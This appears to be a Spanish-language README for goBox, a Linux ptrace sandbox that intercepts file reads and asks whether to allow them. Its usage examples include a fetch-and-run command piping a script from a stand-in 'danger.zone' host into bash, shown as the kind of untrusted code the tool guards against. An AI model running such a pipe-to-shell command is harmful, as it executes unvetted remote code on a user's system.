
GO sandbox para ejecutar código no confiable
Sandbox de GO para ejecutar código no confiable.
goBox usa Ptrace para interceptar las syscalls READ, dándote la opción de aceptar o denegar las syscalls antes de que se ejecuten.
Usage of ./gobox:
gobox [FLAGS] command
flags:
-h Print Usage.
-n value
A glob pattern for automatically blocking file reads.
-y value
A glob pattern for automatically allowing file reads.
> gobox -n "/etc/password.txt" npm install sketchy-module
BLOCKED READ on /etc/password.txt
> gobox -n "/etc/password.txt" bash <(curl https://danger.zone/install.sh)
BLOCKED READ on /etc/password.txt
Claro que podrías usar strace, pero este hace referencia a descriptores de archivos; goBox lo hace mucho más fácil de un vistazo al imprimir la ruta absoluta del fd.
> gobox ls
Wanting to READ /usr/lib/x86_64-linux-gnu/libselinux.so.1 [y/n]
NOTA: Definitivamente es mejor idea cifrar todos tus datos sensibles; goBox probablemente solo debería usarse cuando eso sea inconveniente o poco práctico.
NOTA: No he hecho ningún esfuerzo por compatibilidad cross-x, por lo que actualmente solo funciona en Linux. Aceptaría con gusto parches para mejorar la portabilidad.